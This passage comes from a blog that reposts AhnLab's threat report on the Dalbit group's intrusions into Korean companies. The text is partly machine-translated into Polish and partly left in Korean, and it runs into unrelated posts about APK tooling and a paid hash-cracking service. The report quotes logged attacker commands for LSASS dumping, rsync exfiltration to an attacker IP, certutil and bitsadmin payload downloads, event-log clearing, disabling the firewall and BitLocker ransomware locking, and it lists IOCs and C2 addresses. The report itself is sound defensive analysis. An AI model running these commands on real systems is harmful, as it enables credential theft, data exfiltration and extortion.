„折羽鸿鹄” (QQ:56345566). Jest bardzo mało prawdopodobne, aby ten autor był atakującym, ale ponieważ tego pliku binarnego nie można pobrać po prostu przez wyszukiwanie, przypuszcza się, że atakujący ma powiązania z Chinami.</p><p><br /></p><p>Zainstalowana nazwa pliku i wykonanie są następujące.</p><p><br /></p><p>Nazwa pliku LCX</p><p>lcx3.exe</p><p>lcx.exe</p><p>aktualizacja.exe</p><p>[Tabela 13] Nazwy plików LCX</p><p> </p><p><br /></p><p>Komenda LCX</p><p>> update.exe -slave 1.246.***.*** 110 127.0.0.1 3389</p><p>> lcx3.exe -slave 222.239.***.*** 53 127.0.0.1 3389</p><p>…</p><p>[Tabela 14] Dziennik poleceń LCX</p><p>Powyższy LCX C2 to serwer firmy krajowej, dlatego oznaczony jest maskowaniem.</p><p><br /></p><p> </p><p><br /></p><p>3.2.5. rekonesans wewnętrzny</p><p>Narzędzia Fscan i NBTScan były powszechnie używane do skanowania sieci, aw niektórych przypadkach zidentyfikowano TCP Scan i Goon.</p><p><br /></p><p>Goon to narzędzie do skanowania sieci wykonane z Golang, które może skanować konta Tomcat, MSSQL i MYSQL, a także podstawowe skanowanie portów. Możesz również potwierdzić, że narzędzie jest również wykonane w języku chińskim.</p><p><br /></p><p><br /></p><p>[Rysunek 6] Ekran podczas uruchamiania Goon</p><p> </p><p><br /></p><p>3.2.6. kradzież informacji</p><p>Głównymi informacjami kradnącymi są informacje LSASS Dump oraz plik EML konkretnego konta.W zależności od firmy potwierdzono, że program zainstalowany za pomocą polecenia WMIC jest sprawdzany lub obraz ekranu jest wysyłany na serwer osoby atakującej w regularnych odstępach czasu z komputera konkretnej ofiary.</p><p><br /></p><p>1) WYODRĘBNIJ DANE UWIERZYTELNIAJĄCE (ZRZUT LSASS)</p><p>Osoba atakująca próbowała wyodrębnić informacje uwierzytelniające bez instalowania Mimikatz zgodnie z celem. Jest to metoda zrzutu procesu Lsass.exe.Ponieważ ten plik zrzutu zawiera informacje uwierzytelniające, narzędzia takie jak Mimikatz lub Pypykatz mogą uzyskać informacje uwierzytelniające komputera. Szczegółowe informacje na temat Mimikatz można znaleźć w raporcie TI „Raport z analizy technik propagacji w sieci wewnętrznej przy użyciu Mimikatz ”.</p><p><br /></p><p>Metoda atakującego polegająca na kradzieży danych uwierzytelniających bez Mimikatz jest następująca.</p><p><br /></p><p>1-1) Wywrotka</p><p><br /></p><p>Open source Dumpert to narzędzie, które omija API hooking i działa zgodnie z wersją systemu operacyjnego, zrzuca proces lsass.exe za pomocą API MiniDumpWriteDump(). Atakujący zmodyfikował kod, aby zmienić ścieżkę pliku zrzutu i usunąć funkcję wyjścia dziennika.</p><p><br /></p><p><br /></p><p>[Rysunek 7] Lewy (Dumpert open source) vs Prawy (Dumper używany przez grupę Dalbit)</p><p>Na powyższym obrazku w przypadku prawej strony widać, że ścieżka i ciąg wyjściowy są takie same, poza tym, że zostały usunięte.</p><p><br /></p><p>Wszystkie dotychczas potwierdzone ścieżki plików zrzutu to „%SystemRoot%\temp” i są następujące.</p><p><br /></p><p>%SystemRoot%\temp\duhgghmpert.dmp</p><p>%SystemRoot%\temp\dumpert.dmp</p><p>%SystemRoot%\temp\tarko.dmp</p><p>%SystemRoot%\temp\lsa.txt</p><p>…</p><p>[Tabela 15] Ścieżka pliku zrzutu Lsass</p><p> </p><p><br /></p><p>1-2) Procdump</p><p><br /></p><p>Narzędzie Procdump to normalny program narzędziowy dostarczony przez firmę Microsoft, który zapewnia funkcję zrzutu procesu. Atakujący wykonał zrzut za pomocą narzędzia w następujący sposób.</p><p><br /></p><p><br /></p><p>[Rysunek 8] Dane wyjściowe podczas wykonywania Procdump</p><p>Następnie atakujący wysłał plik zrzutu na serwer atakującego za pośrednictwem narzędzia o nazwie Rsync (Remote Sync). Poniżej znajduje się rzeczywisty przypadek atakującego próbującego ujawnić informacje.</p><p><br /></p><p>> svchost.exe -accepteula -ma lsass.exe web_log.dmp</p><p>> rsync -avz –port 443 web_log.zip test@205.185.122[.]95::share/web_log.zip</p><p>[Tabela 16] Wykonanie i logowanie Procdump przy użyciu rsync</p><p> </p><p><br /></p><p>2) EKSTRAKCJA POCZTY</p><p><br /></p><p>[Rysunek 9] Uruchamianie narzędzia do wyodrębniania poczty</p><p> </p><p><br /></p><p>해당 샘플은 Golang으로 만들어진 메일 추출 도구로 현재 유일하게 공격자가 만든 도구로 추정되고 있다. 이는기업의 Exchange 메일 서버를 대상으로 EWS(Exchange Web Service)를 통해 특정 계정 메일을 EML파일로 추출하는 기능을 가지고 있다. 인자로는 Exchange 서버 주소와, 계정명, 해당 계정의 NTLM 패스워드 해시, 날짜 및 시간 등이 존재한다. 실행 시 해당 계정의 모든 메일함에서 인자로 받은 시간을 기준으로 모든 메일을 추출하여 EML 파일로 저장한다.</p><p><br /></p><p>참고로 해당 바이너리의 PDB 정보는는 ‘fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff’로 무의미하다.</p><p><br /></p><p><br /></p><p>[그림 10] 메일 추출 도구의 PDF 정보</p><p> </p><p><br /></p><p>3) 화면 유출</p><p>공격자는 특정 PC의 화면을 공격자 서버로 송출하였다. 현재 화면을 캡쳐하는 바이너리가 확인되지 않았으나, 감염된 PC의 화면이 송출되는 공격자 서버가 확인되었다. 이는 5~10초 간격으로 특정 기업의 침해 PC의 화면이 송출되고 있었다.</p><p><br /></p><p>공격자의 화면 송출 서버 : hxxp://91.217.139[.]117:8080/1.bat</p><p><br /></p><p>[그림 11] 실제로 송출되었던 특정 기업의 피해 PC 화면</p><p> </p><p><br /></p><p>이는 온전히 이미지만 송출되었으며 원격으로 조종할 수 없고 오디오 등은 출력되지 않았다.</p><p><br /></p><p>또한 화면이 송출되고 있던 공격자 서버(91.217.139[.]117)는 또 다른 기업에서 다운로드 서버로도 사용되고 있었다.</p><p><br /></p><p>>certutil -urlcache -split -f hxxp://91.217.139[.]117:8080/calc32.exe</p><p>>certutil -split -urlcache -f hxxp://91.217.139[.]117:8443/log.ini c:\temp >bitsadmin /transfer mydownloadjob /download /priority normal “hxxp://91.217.139[.]117:8080/calc32.exe” “c:\windows\debug\winh32.exe” (frpc)</p><p>>bitsadmin /transfer mydownloadjob /download /priority normal “hxxp://91.217.139[.]117:8001/log.ini” “c:\windows\debug\log.ini” (frpc.ini)</p><p>[표 17] 공격자 서버(91.217.139[.]117)의 다른 로그</p><p> </p><p><br /></p><p>4) 설치된 프로그램 조회 및 로그인 정보</p><p>공격자는 WMIC 명령어를 통해 설치된 프로그램을 확인하였다.</p><p><br /></p><p>> wmic product get name,version</p><p>[표 18] 공격자가 설치된 프로그램을 조회한 방법</p><p><br /></p><p>[그림 12] 설치된 프로그램 목록, 명령어 예시(WMIC)</p><p> </p><p><br /></p><p>또한 이벤트 로그 중 특정 이벤트 ID를 발생한 도메인 계정 정보에 대해 수집하였다. 생성된 파일은 c:\temp\EvtLogon.dat에 존재한다.</p><p><br /></p><p>Event ID<span style="white-space: pre;"> </span>의미</p><p>4624<span style="white-space: pre;"> </span>로그인 성공</p><p>4768<span style="white-space: pre;"> </span>커버로스 인증 요청</p><p>4776<span style="white-space: pre;"> </span>NTLM 인증 시도</p><p>[표 19] 공격자가 사용한 이벤트 ID의 의미</p><p>> wevtutil qe security /q:”Event[System[(EventID=4624 or EventID=4768 or EventID=4776)]]” /f:text /rd:true >> c:\temp\EvtLogon.dat</p><p>[표 20] wevtutil 명령어 로그</p><p> </p><p><br /></p><p>3.2.7. 파일 암호화</p><p>해당 내용은 과거 블로그를 통해 자세히 소개되었다. 공격자는 윈도우 유틸리티인 BitLocker를 통해 특정 드라이브를 암호화하여 금액을 요구하였다. 현재 여러 피해 기업이 더 확인되고 있다.</p><p><br /></p><p>BitLocker 명령어</p><p>> “C:\Windows\System32\BitLockerWizardElev.exe” F:\ T </p><p>> manage-bde -lock -ForceDismount F:</p><p>> manage-bde -lock -ForceDismount e:</p><p>> “c:\windows\system32\bitlockerwizardelev.exe” e:\ t</p><p>> “c:\windows\system32\bitlockerwizardelev.exe” f:\ u</p><p>[표 21] BitLocker 로그</p><p>아래는 공격자가 사용하는 랜섬노트이다. 공격자는 startmail.com, onionmail.com과 같은 익명 메일 서비스를 이용하였다.</p><p><br /></p><p><br /></p><p>[그림 13] 이전 블로그에 소개된 랜섬노트</p><p>랜섬노트 다운로드로 추정되는 명령어는 다음과 같다.</p><p><br /></p><p>> certutil -urlcache -split -f hxxp://175.24.32[.]228:8888/readme c:\windows\temp\readme</p><p>[표 22] 랜섬노트 다운로드로 추정되는 로그</p><p> </p><p><br /></p><p>3.2.8. 우회</p><p>1) VMPROTECT PACKING</p><p>공격자는 바이너리를 업로드 후 진단이 되었을 때 VMProtect로 패킹을 하여 진단 우회를 시도하였다.</p><p><br /></p><p>– 권한 상승 도구</p><p>%ALLUSERSPROFILE%\badpotatonet4.exe</p><p>%ALLUSERSPROFILE%\BadPotatoNet4.vmp.exe</p><p>%ALLUSERSPROFILE%\SweetPotato.exe</p><p>%ALLUSERSPROFILE%\SweetPotato.vmp.exe</p><p>%ALLUSERSPROFILE%\jc.vmp.exe</p><p>%SystemDrive%\nia\juicypotato.vmp1.exe</p><p>%SystemDrive%\nia\juicypotato.vmp.exe</p><p>…</p><p><br /></p><p>– 프록시 도구</p><p>E:\WEB\*****\data\frpc.vmp.exe</p><p>%ALLUSERSPROFILE%\lcx.exe</p><p>%ALLUSERSPROFILE%\lcx_VP.exe</p><p>%SystemDrive%\Temp\lcx.exe</p><p>%SystemDrive%\Temp\lcx_VP.exe</p><p>%SystemDrive%\Temp\svchost.exe (FRP)</p><p>%SystemDrive%\Temp\frpc.vmp.exe</p><p>…</p><p>[표 23] VMP로 패킹된 파일</p><p> </p><p><br /></p><p>2) WEVTUTIL을 이용한 윈도우 이벤트 로그 삭제</p><p>Security 이벤트 로그 삭제</p><p>> cmd.exe /c wevtutil cl security</p><p><br /></p><p>Application 로그 삭제</p><p>> cmd.exe wevtutil.exe el</p><p>> cmd.exe wevtutil.exe cl “application”</p><p>[표 24] 윈도우 이벤트 로그 삭제</p><p> </p><p><br /></p><p>3) 방화벽 OFF</p><p>sp.exe “netsh advfirewall set allprofiles state off”</p><p>[표 25] 방화벽 OFF</p><p> </p><p><br /></p><p>4. 결론</p><p>달빗(Dalbit) 해킹 그룹은 국내 기업의 취약한 서버를 대상으로 공격을 시도하였으며 이는 중견 이하 업체뿐만 아니라 일부 대기업에서도 로그가 올라오고 있다. 특히 피해 기업 중 30%가 국내의 특정 그룹웨어 제품을 사용 중인 것으로 확인되었다. 또 해당 그룹은 침입 초기에 사용한 웹쉘부터 최종 단계인 랜섬웨어까지 누구나 쉽게 구할 수 있는 도구를 사용하고 있으며 이 중, 중국 커뮤니티에서 구한 것으로 추정되는 프록시 도구나 중국어로 설명된 도구 그리고 이 글에서 언급되지 않은 중국어 도구도 존재한다. 따라서 공격자는 중국어로 소개되는 도구를 주로 사용한 것으로 보아 중국과 일부 연관이 있을 것으로 추정된다.</p><p><br /></p><p>서버 관리자는 감염 의심 시 이 글에서 소개된 공격자의 주 다운로드 경로와 주 계정명(‘main’) 그리고 IOC 등을 확인해야 하며, 만약 의심 징후 확인 시 안랩에 즉시 신고하여 2차 피해를 줄여야 할 것으로 보인다. 또한 관리자는 서버 구성 환경이 취약할 경우 최신 버전으로 패치해 기존 취약점을 사전 방지하며 외부에 공개된 서버 중 관리되지 않는 서버가 있다면 필히 점검해야 할 것으로 보인다.</p><p><br /></p><p> </p><p><br /></p><p>5. IOC</p><p>참고로 ASEC 블로그에서는 공격자가 악용 중인 국내 기업 서버의 IP를 공개하지 않는다.</p><p><br /></p><p>Mitre Attack</p><p>Execution<span style="white-space: pre;"> </span>Persistence<span style="white-space: pre;"> </span>Privilege Escalation<span style="white-space: pre;"> </span>Credential Access<span style="white-space: pre;"> </span>Discovery<span style="white-space: pre;"> </span>Defense Evasion<span style="white-space: pre;"> </span>Lateral Movement<span style="white-space: pre;"> </span>Collection<span style="white-space: pre;"> </span>Exfiltration<span style="white-space: pre;"> </span>Command and Control<span style="white-space: pre;"> </span>Impact<span style="white-space: pre;"> </span>Resource Development</p><p>– Command and Scripting Interpreter(T1059)</p><p><br /></p><p>– Windows Management Instrumentation(T1047)</p><p><br /></p><p>– System Service(T1569)<span style="white-space: pre;"> </span>– Scheduled Task/Job(T1053)</p><p><br /></p><p>– Create Account(T1136)</p><p><br /></p><p>– Server Software Component(T1505)</p><p><br /></p><p>– Account Manipulation(T1098)<span style="white-space: pre;"> </span>– Access Token Manipulation(T1134)</p><p><br /></p><p>– Exploitation for Privilege Escalation(T1068)<span style="white-space: pre;"> </span>– OS Credential Dumping (T1003)<span style="white-space: pre;"> </span>– Remote System Discovery(T1018)</p><p><br /></p><p>– Network Service Discovery(T1046)<span style="white-space: pre;"> </span>– Impair Defenses(T1562)</p><p><br /></p><p>– Indicator Removal(T1070)<span style="white-space: pre;"> </span>– Remote Services(T1021)</p><p><br /></p><p>– Lateral Tool Transfer(T1570)<span style="white-space: pre;"> </span>– Data from Local System(T1005)</p><p><br /></p><p>– Account Discovery: Email Account(1087.003)</p><p><br /></p><p>– Email Collection(T1114)</p><p><br /></p><p>– Screen Capture(T1113)<span style="white-space: pre;"> </span>– Exfiltration Over Web Service(T1567)<span style="white-space: pre;"> </span>– Proxy(T1090)</p><p><br /></p><p>– Ingress Tool Transfer(T1105)<span style="white-space: pre;"> </span>– Data Encrypted for Impact(T1486)<span style="white-space: pre;"> </span>– Stage Capabilities: Upload Malware(T1608.001)</p><p>[표 26] Mitre Attack</p><p>진단명</p><p>WebShell/Script.Generic (2020.12.11.09)</p><p>WebShell/ASP.ASpy.S1361 (2021.02.02.03)</p><p>WebShell/ASP.Generic.S1855 (2022.06.22.03)</p><p>WebShell/ASP.Small.S1378 (2021.02.24.02)</p><p>WebShell/JSP.Godzilla.S1719(2021.12.03.00)</p><p>WebShell/JSP.Chopper.SC183868(2022.10.15.01)</p><p>WebShell/JSP.Generic.S1363 (2021.01.27.03)</p><p>Backdoor/Script.Backdoor (2015.01.04.00)</p><p>WebShell/JSP.Generic.S1956 (2022.11.14.00)</p><p>Trojan/Script.Frpc (2022.12.17.00)</p><p>JS/Webshell (2011.08.08.03)</p><p>HackTool/Win.Fscan.C5334550(2023.01.27.00)</p><p>HackTool/Win.Fscan.C5230904(2022.10.08.00)</p><p>HackTool/Win.Fscan.R5229026(2022.10.07.03)</p><p>Trojan/JS.Agent(2022.03.16.02)</p><p>Unwanted/Win32.TCPScan.R33304(2012.08.17.00)</p><p>HackTool/Win.Scanner.C5220929(2022.08.09.02)</p><p>HackTool/Win.SweetPotato.R506105 (2022.08.04.01)</p><p>Exploit/Win.BadPotato.R508814 (2022.08.04.01)</p><p>HackTool/Win.JuicyPotato.R509932 (2022.08.09.03)</p><p>HackTool/Win.JuicyPotato.C2716248 (2022.08.09.00)</p><p>Exploit/Win.JuicyPotato.C425839(2022.08.04.01)</p><p>Exploit/Win.SweetPotato.C4093454 (2022.08.04.01)</p><p>Trojan/Win.Escalation.R524707(2022.10.04.02)</p><p>Trojan/Win.Generic.R457163(2021.12.09.01)</p><p>HackTool/Win64.Cve-2019-1458.R345589(2020.07.22.06)</p><p>Malware/Win64.Generic.C3164061 (2019.04.20.01)</p><p>Malware/Win64.Generic.C3628819 (2019.12.11.01)</p><p>Exploit/Win.Agent.C4448815 (2021.05.03.03)</p><p>Trojan/Win.Generic.C4963786 (2022.02.11.04)</p><p>Trojan/Win.Exploit.C4997833 (2022.03.08.01)</p><p>Exploit/Win.Agent.C5224192 (2022.08.17.00)</p><p>Exploit/Win.Agent.C5224193 (2022.08.17.00)</p><p>Trojan/Win32.RL_Mimikatz.R290617(2019.09.09.01)</p><p>Trojan/Win32.Mimikatz.R262842(2019.04.06.00)</p><p>Trojan/Win.Swrort.R450012(2021.11.14.01)</p><p>HackTool/Win.Lsassdump.R524859(2022.10.05.00)</p><p>HackTool/Win.ProxyVenom.C5280699(2022.10.15.01)</p><p>Unwanted/Win.Frpc.C5222534 (2022.08.13.01)</p><p>Unwanted/Win.Frpc.C5218508 (2022.08.03.03)</p><p>Unwanted/Win.Frpc.C5218510 (2022.08.03.03)</p><p>Unwanted/Win.Frpc.C5218513 (2022.08.03.03)</p><p>HackTool/Win.Frpc.5222544 (2022.08.13.01)</p><p>HackTool/Win.Frp.C4959080 (2022.02.08.02)</p><p>HackTool/Win.Frp.C5224195 (2022.08.17.00)</p><p>Unwanted/Win.Frpc.C5162558 (2022.07.26.03)</p><p>Malware/Win.Generic.C5173495 (2022.06.18.00)</p><p>HackTool/Win.LCX.C5192157 (2022.07.04.02)</p><p>HackTool/Win.LCX.R432995(2023.01.06.01)</p><p>HackTool/Win.Rsocx.C5280341(2022.10.15.00)</p><p>Backdoor/Win.BlueShell.C5272202(2022.10.05.00)</p><p>Trojan/Win.BlueShell.C5280704(2022.10.15.01)</p><p>Backdoor/Win.CobaltStrike.R360995(2022.09.20.00)</p><p>Unwanted/Win.Extractor.C5266516(2022.10.01.00)</p><p>Trojan/Win.RemCom.R237878(2023.01.07.00)</p><p>[IOC]</p><p><br /></p><p>MD5 (정상 파일 제외)</p><p>– 웹쉘</p><p>0359a857a22c8e93bc43caea07d07e23</p><p>85a6e4448f4e5be1aa135861a2c35d35</p><p>4fc81fd5ac488b677a4c0ce5c272ffe3</p><p>c0452b18695644134a1e38af0e974172</p><p>6b4c7ea91d5696369dd0a848586f0b28</p><p>96b23ff19a945fad77dd4dd6d166faaa</p><p>88bef25e4958d0a198a2cc0d921e4384</p><p>c908340bf152b96dc0f270eb6d39437f</p><p>2c3de1cefe5cd2a5315a9c9970277bd7</p><p>e5b626c4b172065005d04205b026e446</p><p>27ec6fb6739c4886b3c9e21b6b9041b6</p><p>612585fa3ada349a02bc97d4c60de784</p><p>21c7b2e6e0fb603c5fdd33781ac84b8f</p><p>c44457653b2c69933e04734fe31ff699</p><p>e31b7d841b1865e11eab056e70416f1a</p><p>69c7d9025fa3841c4cd69db1353179cf</p><p>fca13226da57b33f95bf3faad1004ee0</p><p>af002abd289296572d8afadfca809294</p><p>e981219f6ba673e977c5c1771f86b189</p><p>f978d05f1ebeb5df334f395d58a7e108</p><p>e3af60f483774014c43a7617c44d05e7</p><p>c802dd3d8732d9834c5a558e9d39ed37</p><p>07191f554ed5d9025bc85ee1bf51f975</p><p>61a687b0bea0ef97224c7bd2df118b87</p><p>…(생략)</p><p><br /></p><p>– 권한 상승</p><p>9fe61c9538f2df492dff1aab0f90579f</p><p>ab9091f25a5ad44bef898588764f1990</p><p>87e5c9f3127f29465ae04b9160756c62</p><p>ab9091f25a5ad44bef898588764f1990</p><p><br /></p><p>4bafbdca775375283a90f47952e182d9</p><p>0311ee1452a19b97e626d24751375652</p><p>acacf51ceef8943f0ee40fc181b6f1fa</p><p>3cbea05bf7a1affb821e379b1966d89c</p><p>10f4a1df9c3f1388f9c74eb4cdf24e7c</p><p>b5bdf2de230722e1fe63d88d8f628ebc</p><p>edb685194f2fcd6a92f6e909dee7a237</p><p>e9bd5ed33a573bd5d9c4e071567808e5</p><p>fbae6c3769ed4ae4eccaff76af7e7dfe</p><p><br /></p><p>937435bbcbc3670430bb762c56c7b329</p><p>fd0f73dd80d15626602c08b90529d9fd</p><p>29274ca90e6dcf5ae4762739fcbadf01</p><p>784becfb944dec42cccf75c8cf2b97e3</p><p>7307c6900952d4ef385231179c0a05e4</p><p>bcfca13c801608a82a0924f787a19e1d</p><p><br /></p><p>75fe1b6536e94aaee132c8d022e14f85</p><p><br /></p><p>d6cb8b66f7a9f3b26b4a98acb2f9d0c5</p><p><br /></p><p>323a36c23e61c6b37f28abfd5b7e5dfe</p><p>7b40aa57e1c61ecd6db2a1c18e08b0af</p><p>3665d512be2e9d31fc931912d5c6900e</p><p><br /></p><p>– 네트워크 스캔</p><p>1aca4310315d79e70168f15930cc3308</p><p><br /></p><p>5e0845a9f08c1cfc7966824758b6953a</p><p>9b0e4652a0317e6e4da66f29a74b5ad7</p><p>d8d36f17b50c8a37c2201fbb0672200a</p><p>b998a39b31ad9b409d68dcb74ac6d97d</p><p>d5054ed83e63f911be46b3ff8af82267</p><p>e7b7bf4c2ed49575bedabdce2385c8d5</p><p><br /></p><p>f01a9a2d1e31332ed36c1a4d2839f412 </p><p><br /></p><p>d4d8c9be9a4a6499d254e845c6835f5f</p><p><br /></p><p>– FRP</p><p>4eb5eb52061cc8cf06e28e7eb20cd055</p><p>0cc22fd05a3e771b09b584db0a161363</p><p>8de8dfcb99621b21bf66a3ef2fcd8138</p><p>df8f2dc27cbbd10d944210b19f97dafd</p><p>2866f3c8dfd5698e7c58d166a5857e1e</p><p>cbee2fd458ff686a4cd2dde42306bba1</p><p>3dc8b64b498220612a43d36049f055ab</p><p>31c4a3f16baa5e0437fdd4603987b812</p><p>b33a27bfbe7677df4a465dfa9795ff4a</p><p>7d9c233b8c9e3f0ea290d2b84593c842</p><p>c4f18576fd1177ba1ef54e884cb7a79d</p><p>5d33609af27ea092f80aff1af6ddf98d</p><p>622f060fce624bdca9a427c3edec1663</p><p>1f2432ec77b750aa3e3f72c866584dc3</p><p>d331602d190c0963ec83e46f5a5cd54a</p><p>21d268341884c4fc62b5af7a3b433d90</p><p> </p><p> </p><p>– FRP_INI</p><p>6a20945ae9f7c9e1a28015e40758bb4f</p><p>a29f39713ce6a92e642d14374e7203f0</p><p>7ce988f1b593e96206a1ef57eb1bec8a</p><p>fc9abba1f212db8eeac7734056b81a6e</p><p>9f55b31c66a01953c17eea6ace66f636</p><p>33129e959221bf9d5211710747fddabe</p><p>48b99c2f0441f5a4794afb4f89610e48</p><p>28e026b9550e4eb37435013425abfa38</p><p>2ceabffe2d40714e5535212d46d78119</p><p>c72750485db39d0c04469cd6b100a595</p><p>68403cc3a6fcbeb9e5e9f7263d04c02f</p><p>52ff6e3e942ac8ee012dcde89e7a1116</p><p>d82481e9bc50d9d9aeb9d56072bf3cfe</p><p>22381941763862631070e043d4dd0dc2</p><p>6b5bccf615bf634b0e55a86a9c24c902</p><p>942d949a28b2921fb980e2d659e6ef75</p><p>059d98dcb83be037cd9829d31c096dab</p><p>cca50cdd843aa824e5eef5f05e74f4a5</p><p>f6f0d44aa5e3d83bb1ac777c9cea7060</p><p>0ca345bc074fa2ef7a2797b875b6cd4d</p><p>f6da8dc4e1226aa2d0dabc32acd06915</p><p>0bbfaea19c8d1444ae282ff5911a527b</p><p> </p><p>– LCX</p><p>a69d3580921ec8adce64c9b38ac3653a</p><p>c4e39c1fc0e1b165319fa533a9795c44</p><p>fb6bf74c6c1f2482e914816d6e97ce09</p><p>678dbe60e15d913fb363c8722bde313d</p><p> </p><p> </p><p>– 프록시 ETC</p><p>e0f4afe374d75608d604fbf108eac64f</p><p> </p><p>f5271a6d909091527ed9f30eafa0ded6</p><p> </p><p>ae8acf66bfe3a44148964048b826d005</p><p> </p><p>– 측면이동</p><p>6983f7001de10f4d19fc2d794c3eb534</p><p>fcb7f7dab6d401a17bd436fc12a84623</p><p> </p><p>– 정보 수집 및 자격 증명 탈취</p><p>bb8bdb3e8c92e97e2f63626bc3b254c4</p><p>80f421c5fd5b28fc05b485de4f7896a1</p><p>a03b57cc0103316e974bbb0f159f78f6</p><p>46f366e3ee36c05ab5a7a319319f7c72</p><p>7bd775395b821e158a6961c573e6fd43</p><p> </p><p>b434df66d0dd15c2f5e5b2975f2cfbe2</p><p> </p><p>c17cfe533f8ce24f0e41bd7e14a35e5e</p><p> </p><p><br /></p><p> </p><p>– 백도어</p><p>011cedd9932207ee5539895e2a1ed60a</p><p>bc744a4bf1c158dba37276bf7db50d85</p><p>23c0500a69b71d5942585bb87559fe83</p><p>53271b2ab6c327a68e78a7c0bf9f4044</p><p>c87ac56d434195c527d3358e12e2b2e0</p><p>C2 및 URL (악용된 국내 기업 서버의 경우 표기 안함)</p><p>– Download C2</p><p>91.217.139[.]117</p><p><br /></p><p>– Upload C2</p><p>205.185.122[.]95</p><p>91.217.139[.]117</p><p><br /></p><p>– FRP & LCX C2</p><p>hxxp://sk1.m00nlight[.]top:80 (45.136.186.19) //MOACK_Co_LTD 업체 서버</p><p>hxxps://fk.m00nlight[.]top:443 (45.136.186.175:443) //MOACK_Co_LTD 업체 서버</p><p>hxxps://aa.zxcss[.]com:443 (45.93.31.122) //MOACK_Co_LTD 업체 서버</p><p>45.93.31[.]75:7777 //MOACK_Co_LTD 업체 서버</p><p>45.93.28[.]103:8080 //MOACK_Co_LTD 업체 서버</p><p>103.118.42[.]208</p><p>101.43.121[.]50</p><p><br /></p><p>– Backdoor C2</p><p>45.93.31[.]75 //MOACK_Co_LTD 업체 서버</p><p>연관 IOC 및 관련 상세 분석 정보는 안랩의 차세대 위협 인텔리전스 플랫폼 ‘AhnLab TIP’ 구독 서비스를 통해 확인 가능하다.</p><p><br /></p><p><br /></p><p> CATEGORIES:악성코드 정보</p><p><br /></p><p>TAGGED AS:ANTSWORD,APT,ASPXSPY,BADPOTATO,BITLOCKER,BITSADMIN,BLUESHELL,CERTUTIL,CHOPPER,COBALTSTRIKE,CONF.ASPX,CVE-2017-10271,CVE-2018-8639,CVE-2019-1458,DALBIT,DUHGGHMPERT.DMP,DUMPERT,달빗,EFSPOTATO,FF0.123456,FRP,FSCAN,GODZILLA,GOTOHTTP, HTRAN , ZŁOŚLIWE OPROGRAMOWANIE , KAMPANIA , JUICYPOTATO , LADON , LCX , M00NLIGHT , GŁÓWNY , MIMIKATZ , NPS , NTLTEST , PROCDUMP , RDP , REGEORG , ROTTENPOTATO , RSYNC , SWEETPOTATO , WEBLOGIC , XP_CMDSHELL</p><p><br /></p><p>Wznowienie krajowej dystrybucji Magniber Ransomware (1/28)Cotygodniowe statystyki ASEC dotyczące złośliwego oprogramowania (20230123 ~ 20230129)</p><p>5</p><p>ocena w skali gwiazdkowej</p><p>Zaloguj sie</p><p>Gość</p><p>Bądź pierwszy który skomentuje!</p><p>0 KOMENTARZY</p><p>Szukaj...</p><p></p><p>SZAFKA</p><p>SZAFKA</p><p>Wybierz miesiąc</p><p>OTRZYMYWAĆ WIADOMOŚCI</p><p>Facebook</p><p> </p><p>Świergot</p><p> </p><p>kanał RSS</p><p>220 Pangyoyeok-ro, Bundang-gu, Seongnam-si, Gyeonggi-do, 13493 | CEO: Kang Seok-kyun | Numer rejestracyjny firmy: 214-81-83536 | Polityka prywatności</p><p>© AhnLab, Inc. Wszelkie prawa zastrzeżone.</p><p><br /></p><p>Witryna rodzinna</p><p> </p><p>Korea (koreański)</p><div><br /></div>w4ckyhttp://www.blogger.com/profile/18012875174650791715noreply@blogger.com0tag:blogger.com,1999:blog-7433218745767800030.post-26222066933260311352023-01-18T11:02:00.003+01:002023-01-18T11:02:38.933+01:00DOMAIN ADMIN Compromise in 3 HOURS<p> https://infosecwriteups.com/domain-admin-compromise-in-3-hours-5778902604c9</p><p><br /></p>w4ckyhttp://www.blogger.com/profile/18012875174650791715noreply@blogger.com0tag:blogger.com,1999:blog-7433218745767800030.post-60050914591134680722022-12-14T07:43:00.008+01:002022-12-14T07:43:57.324+01:00apk.sh - ułatwia inżynierię wsteczną aplikacji na Androida<p>apk.sh to skrypt Bash, który ułatwia inżynierię wsteczną aplikacji na Androida, automatyzując niektóre powtarzalne zadania, takie jak ściąganie, dekodowanie, przebudowywanie i łatanie pliku APK.</p><p><br /></p><p>Cechy</p><p>apk.sh zasadniczo używa apktool do dezasemblacji, dekodowania i odbudowy zasobów oraz trochę basha do automatyzacji procesu wstrzykiwania gadżetów frida . Obsługuje również pakiety aplikacji/podzielone pliki APK.</p><p><br /></p><p>🍄 Łatanie plików APK w celu załadowania frida-gadget.so na starcie.</p><p>🆕 Obsługa pakietów aplikacji/podzielonych plików APK.</p><p>🔩 Przebudowywanie zdekodowanych zasobów z powrotem do binarnego pliku APK/JAR za pomocą apktool.</p><p>🗝️ Kod podpisując apk za pomocą apksigner.</p><p><a href="https://github.com/ax/apk.sh">https://github.com/ax/apk.sh</a></p>w4ckyhttp://www.blogger.com/profile/18012875174650791715noreply@blogger.com0tag:blogger.com,1999:blog-7433218745767800030.post-26213264323436452682021-10-27T10:28:00.006+02:002021-11-04T07:55:58.459+01:00Łamanie haseł online - nowa usługa + próbki łamania haseł dla md5 i sha256<p>Uruchomiłem dla Was możliwość łamania haseł on-line na moich urządzeniach. </p><p>Zbudowałem 4 komputery obliczeniowe złożone z: </p><p>1) 10 x GPU RX 6600 XT</p><p>2) 10 x GPU RX 6600 XT</p><p>3) 3 x GPU RX 6600 i 3 x GPU 6600 XT </p><p>4) 2 x GPU RX 6600 XT</p><p>Dzięki tej usłudze Twoje pentesty i red teamingi będą dużo bardziej skuteczne, w końcu będziesz miał szansę w szybkim czasie złamać przejęty hash. <br /></p><p>Jeśli sam zapomniałeś swojego hasła i masz hash to ta usługa jest również dla Ciebie. Jeśli zapomniałeś hasła do swojego WiFi to też możliwe jest jego złamanie bo dostarczeniu handshake.</p><p>Hasła są łamane za pomocą hashcat.</p><p><br /></p><p>Oferuje łamanie hashy w oparciu o swoje słowniki, ale również możesz dostarczyć swój słownik.</p><p><br /></p><p>Koszt przedstawiam indywidualnie po kontakcie ze mną blaszczakm+hashcat @ gmail . com </p><p>Usługa polega na wynajmie mocy obliczenowej jednego z 4 komputerów + konfiguracji po mojej stronie procesu odwracania hasha. Jako klient decydujesz czy wynajmujesz moc na kilka dni, czy kilka miesięcy. W momencie złamania hasha usługa może się zatrzymać i nie naliczać więcej opłaty. <br />Możesz bez ryzyka wynająć moc na 1 miesiąc, a zapłacisz realnie tylko za 3 dni, jeśli w ciągu 3 dni hasło zostanie odwrócone. </p><p><br /></p><p>Usługa dedykowana pentesterom 